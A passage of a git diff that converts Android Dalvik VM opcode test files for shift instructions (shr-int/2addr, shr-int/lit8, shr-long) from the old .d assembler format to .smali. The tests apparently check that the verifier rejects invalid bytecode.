+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.d
deleted file mode 100644
index 0a6ea58..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_3.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       shr-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.smali
new file mode 100644
index 0000000..a7a4f76
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shr-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.d
deleted file mode 100644
index 3d4d094..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_4.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       shr-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.smali
new file mode 100644
index 0000000..c618329
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shr-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.d
deleted file mode 100644
index 4b35e2a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_5.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.smali
new file mode 100644
index 0000000..a222bd6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.d
deleted file mode 100644
index b563cc0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_6.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       shr-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.smali
new file mode 100644
index 0000000..6f3ce99
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shr-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.d
deleted file mode 100644
index d34130f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_1.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.smali
new file mode 100644
index 0000000..76b8dca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.d
deleted file mode 100644
index c94aa21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_10.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.smali
new file mode 100644
index 0000000..1dfd795
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.d
deleted file mode 100644
index 1a3b1bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_2.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.smali
new file mode 100644
index 0000000..21eea2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.d
deleted file mode 100644
index 002cadf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_3.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.smali
new file mode 100644
index 0000000..cbefe94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.d
deleted file mode 100644
index 3b9b507..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_4.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 33
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.smali
new file mode 100644
index 0000000..464adc7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 33
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.d
deleted file mode 100644
index 871040a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_5.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.smali
new file mode 100644
index 0000000..368746a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.d
deleted file mode 100644
index 761a30e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_6.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.smali
new file mode 100644
index 0000000..88b0398
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.d
deleted file mode 100644
index 34559e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_7.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v8, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.smali
new file mode 100644
index 0000000..5622017
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v8, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.d
deleted file mode 100644
index d157daf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_8.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       shr-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.smali
new file mode 100644
index 0000000..1f9543a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       shr-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.d
deleted file mode 100644
index ed24326..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_9.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       shr-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.smali
new file mode 100644
index 0000000..c3e0a4f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       shr-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.d
deleted file mode 100644
index 08c82f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_1.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long v0, v8, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.smali
new file mode 100644
index 0000000..d844619
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_1.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long v0, v8, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.d
deleted file mode 100644
index a87004a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long v0, v8, v11
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.smali
new file mode 100644
index 0000000..cb97b49
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long v0, v8, v11
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.d
deleted file mode 100644
index 9c78f73..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_3.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 11
-
-       shr-long v0, v7, v9
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.smali
new file mode 100644
index 0000000..db7d623
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_3.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shr-long v0, v7, v9
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.d
deleted file mode 100644
index e6691cd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_4.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)J
-.limit regs 11
-
-       shr-long v0, v9, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.smali
new file mode 100644
index 0000000..7ddef77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_4.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shr-long v0, v9, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.d
deleted file mode 100644
index f5e4cb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_5.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)J
-.limit regs 11
-
-       shr-long v0, v9, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.smali
new file mode 100644
index 0000000..3ed3098
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_5.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
